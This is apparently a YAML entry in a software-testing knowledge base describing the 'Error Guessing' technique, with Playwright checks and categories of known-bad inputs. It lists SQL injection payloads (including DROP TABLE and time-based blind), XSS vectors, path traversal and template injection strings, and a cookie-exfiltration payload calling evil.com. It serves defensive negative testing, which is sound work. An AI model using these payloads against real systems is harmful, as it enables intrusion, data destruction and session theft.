id: technique-error-guessing
version: "0.1.0"
type: technique
name: "Error Guessing"
description: >
  An experience-based technique where the tester uses knowledge of common
  software failures to predict and provoke errors. This is your arsenal
  of known-bad inputs and adversarial scenarios that catch validation gaps,
  security holes, and error-handling defects.
author: "Classic testing technique"
source: "Adapted from OWASP, security testing, and field experience"
tags: [security, negative-testing, injection, error-handling]
domains: [all]
priority: medium
added: "2026-03-28"

content:
  summary: >
    Error guessing is the art of predicting where bugs hide based on experience.
    Rather than testing randomly, you systematically probe with inputs and
    scenarios that historically cause failures. Every category below represents
    a class of bugs that recurs across products — use them as a checklist of
    attack vectors during negative testing.

  categories:
    - name: "Null and Empty Inputs"
      description: "Test how the system handles the absence of data."
      risk: "Null pointer exceptions, blank screens, database errors, data corruption."
      test_values:
        - { value: "", label: "Empty string" }
        - { value: "null", label: "Literal string 'null'" }
        - { value: "NULL", label: "Uppercase NULL" }
        - { value: "None", label: "Python None as string" }
        - { value: "nil", label: "Ruby/Go nil as string" }
        - { value: "undefined", label: "JavaScript undefined as string" }
        - { value: "NaN", label: "Not a Number as string" }
        - { value: " ", label: "Single space" }
        - { value: "\\t", label: "Tab character" }
        - { value: "\\n", label: "Newline character" }
        - { value: "\\r\\n", label: "CRLF" }
        - { value: "\\0", label: "Null byte" }
      playwright_check: >
        fill <ref> '' then click submit — check for unhandled errors in console and network.

    - name: "Special Characters"
      description: "Characters that often break parsers, templates, and storage."
      risk: "Injection attacks, rendering errors, truncation, encoding failures."
      test_values:
        - { value: "' \" \\ / < > & | ; : @ # $ % ^ * ( ) { } [ ]", label: "Common special chars" }
        - { value: "O'Brien", label: "Apostrophe in name — SQL and display" }
        - { value: "foo@bar.com<script>", label: "Email with script tag" }
        - { value: "../../../etc/passwd", label: "Path traversal" }
        - { value: "file:///etc/hosts", label: "Local file URI" }
        - { value: "\\x00\\x01\\x02", label: "Control characters" }
        - { value: "{{template}}", label: "Template injection" }
        - { value: "${7*7}", label: "Expression language injection" }
        - { value: "%00", label: "URL-encoded null byte" }
        - { value: "%0d%0a", label: "CRLF injection" }
        - { value: "data:text/html,<script>alert(1)</script>", label: "Data URI with script" }
      playwright_check: >
        fill <ref> with each value, submit, then check page snapshot and console for errors or injected content.

    - name: "Unicode and Internationalization"
      description: "Non-ASCII text that tests encoding, rendering, and storage."
      risk: "Mojibake, truncation, layout breaking, sorting bugs, homoglyph attacks."
      test_values:
        - { value: "Schrodinger", label: "German umlaut (basic Latin extended)" }
        - { value: "cafe\\u0301", label: "Combining accent — e + combining acute (NFD vs NFC)" }
        - { value: "\\u4f60\\u597d\\u4e16\\u754c", label: "Chinese characters" }
        - { value: "\\u0645\\u0631\\u062d\\u0628\\u0627", label: "Arabic text (RTL)" }
        - { value: "\\U0001f4a9", label: "Emoji — pile of poo (multi-byte)" }
        - { value: "\\U0001f468\\u200d\\U0001f469\\u200d\\U0001f467\\u200d\\U0001f466", label: "Family emoji (ZWJ sequence)" }
        - { value: "\\u200b", label: "Zero-width space — invisible character" }
        - { value: "\\u200e", label: "Left-to-right mark" }
        - { value: "\\u200f", label: "Right-to-left mark" }
        - { value: "\\ufeff", label: "BOM (byte order mark)" }
        - { value: "\\u0410", label: "Cyrillic A — looks like Latin A (homoglyph)" }
        - { value: "a\\u0300\\u0301\\u0302\\u0303\\u0304\\u0305\\u0306\\u0307\\u0308\\u0309", label: "Zalgo text — stacked combining marks" }
        - { value: "\\ud800", label: "Unpaired surrogate — invalid UTF-16" }
      playwright_check: >
        fill <ref> with Unicode values, submit, reload page, and verify text is preserved correctly in snapshot.

    - name: "SQL Injection Patterns"
      description: "Classic SQL injection payloads to test server-side input sanitization."
      risk: "Data breach, data deletion, authentication bypass, full database compromise."
      test_values:
        - { value: "' OR '1'='1", label: "Classic tautology" }
        - { value: "' OR '1'='1' --", label: "Tautology with comment" }
        - { value: "'; DROP TABLE users; --", label: "DROP TABLE" }
        - { value: "1; SELECT * FROM users", label: "Stacked query" }
        - { value: "' UNION SELECT null, null, null --", label: "UNION-based extraction" }
        - { value: "1 AND 1=1", label: "Boolean-based blind SQLi" }
        - { value: "1 AND SLEEP(5)", label: "Time-based blind SQLi — observe response delay" }
        - { value: "admin'--", label: "Login bypass" }
        - { value: "1' ORDER BY 1--", label: "Column enumeration" }
        - { value: "\\' OR 1=1#", label: "MySQL comment style" }
      playwright_check: >
        fill <ref> with each payload, submit, check network responses for SQL errors or unexpected data.
        If using time-based: measure response time — a 5+ second delay suggests injection.

    - name: "XSS Vectors"
      description: "Cross-site scripting payloads to test output encoding and sanitization."
      risk: "Session hijacking, credential theft, defacement, malware distribution."
      test_values:
        - { value: "<script>alert('xss')</script>", label: "Basic script tag" }
        - { value: "<img src=x onerror=alert('xss')>", label: "IMG onerror" }
        - { value: "<svg onload=alert('xss')>", label: "SVG onload" }
        - { value: "javascript:alert('xss')", label: "JavaScript URI" }
        - { value: "<body onload=alert('xss')>", label: "Body onload" }
        - { value: "'\"><script>alert('xss')</script>", label: "Breaking out of attribute" }
        - { value: "<iframe src='javascript:alert(1)'></iframe>", label: "Iframe injection" }
        - { value: "<details open ontoggle=alert('xss')>", label: "Details/ontoggle" }
        - { value: "<a href='javascript:alert(1)'>click</a>", label: "Anchor javascript href" }
        - { value: "{{constructor.constructor('alert(1)')()}}", label: "Angular template injection" }
        - { value: "<img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>", label: "Cookie exfiltration" }
      playwright_check: >
        fill <ref> with payload, submit, then take a snapshot — if the script content appears
        unescaped in the DOM or a dialog appears, XSS is confirmed. Also check console for errors.

    - name: "Large Inputs"
      description: "Oversized data to test buffer handling, performance, and display."
      risk: "Buffer overflow, denial of service, UI breaking, out of memory."
      test_values:
        - { value: "A x 1000", label: "1KB string" }
        - { value: "A x 10000", label: "10KB string" }
        - { value: "A x 100000", label: "100KB string" }
        - { value: "A x 1000000", label: "1MB string — likely to cause issues" }
        - { value: "9 x 20 (99999999999999999999)", label: "20-digit number" }
        - { value: "Repeat 'word ' x 10000", label: "10K word paragraph" }
        - { value: "Line\\n x 10000", label: "10K line breaks" }
        - { value: "emoji x 1000", label: "1K emoji — multi-byte stress" }
      playwright_check: >
        fill <ref> with a large string (start with 10K chars), submit, check for:
        1. Page responsiveness (snapshot should return within 5 seconds)
        2. Network response status codes
        3. Console errors (memory, payload too large)

    - name: "Concurrent Operations"
      description: "Race conditions from simultaneous actions."
      risk: "Data corruption, duplicate records, incorrect totals, deadlocks."
      test_values:
        - label: "Double-click submit button"
          action: "click <ref> then immediately click <ref> again"
        - label: "Same form in two tabs"
          action: "Open the same edit page in two browser tabs, edit in both, submit both"
        - label: "Rapid sequential requests"
          action: "Submit the same action 5 times within 1 second"
        - label: "Edit while another user is editing"
          action: "Two sessions editing the same record — last write wins? merge? error?"
        - label: "Delete while viewing"
          action: "Delete a record in tab A while tab B is viewing its detail page"
      playwright_check: >
        For double-submit: click <ref> twice rapidly with no delay.
        Check network panel for duplicate requests and verify only one record was created.

    - name: "Interrupted Flows"
      description: "What happens when a workflow is interrupted mid-way."
      risk: "Orphaned data, inconsistent state, data loss, stuck workflows."
      test_values:
        - label: "Browser back during multi-step form"
          action: "Navigate back at each step of a wizard/checkout flow"
        - label: "Close tab during save"
          action: "Close the browser tab while a save operation is in progress"
        - label: "Network disconnect during submit"
          action: "route '**/api/**' --status 0 to simulate network failure during form submit"
        - label: "Refresh during loading"
          action: "Press F5 while data is still loading"
        - label: "Session timeout during edit"
          action: "Start editing, wait for session to expire, then try to save"
        - label: "Cancel during upload"
          action: "Start a file upload and cancel it at 50%"
      playwright_check: >
        Use route command to simulate network failures:
        route '**/api/**' --status 503
        Then submit the form and check error handling in snapshot and console.

    - name: "Network Failures"
      description: "Simulate network problems to test resilience and error handling."
      risk: "Data loss, infinite spinners, cryptic errors, retry storms."
      test_values:
        - label: "API returns 500"
          action: "route '**/api/**' --status 500 --body '{\"error\": \"Internal Server Error\"}'"
        - label: "API returns 403"
          action: "route '**/api/**' --status 403 --body '{\"error\": \"Forbidden\"}'"
        - label: "API returns 404"
          action: "route '**/api/**' --status 404"
        - label: "API returns 429 (rate limited)"
          action: "route '**/api/**' --status 429 --body '{\"error\": \"Too Many Requests\"}'"
        - label: "API timeout (very slow response)"
          action: "route '**/api/**' --status 200 --delay 30000"
        - label: "API returns empty body"
          action: "route '**/api/**' --status 200 --body ''"
        - label: "API returns malformed JSON"
          action: "route '**/api/**' --status 200 --body 'not json'"
        - label: "API returns HTML error page"
          action: "route '**/api/**' --status 200 --body '<html>Error</html>'"
      playwright_check: >
        Use playwright-cli route command to mock failures before triggering the action:
        route '**/api/endpoint' --status 500
        Then perform the action and check snapshot for user-friendly error messages.

  when_to_use:
    - "During the Saboteur Tour — this is your primary ammunition."
    - "When testing any input field — try at least null/empty and one injection payload."
    - "When testing error handling — simulate network failures and observe recovery."
    - "Before security audits — find the obvious vulnerabilities first."
    - "When testing forms — combine with boundary testing for thorough coverage."

  gotchas:
    - "Always test injection on the server side — bypass client validation using devtools or route mocking."
    - "XSS can be stored (persisted in DB) or reflected (in URL params) — test both vectors."
    - "SQL injection may not show visible errors — use time-based payloads (SLEEP) to detect blind injection."
    - "Test file upload separately — rename malicious files, change Content-Type headers, embed scripts in images."
    - "Concurrent operations are hard to test manually — focus on double-submit and multi-tab scenarios."
    - "Network failure testing is critical for SPAs — they often show blank screens or infinite spinners instead of helpful errors."
    - "Do not use actually destructive payloads (DROP TABLE) on production systems — observe the response to the string, do not execute it."
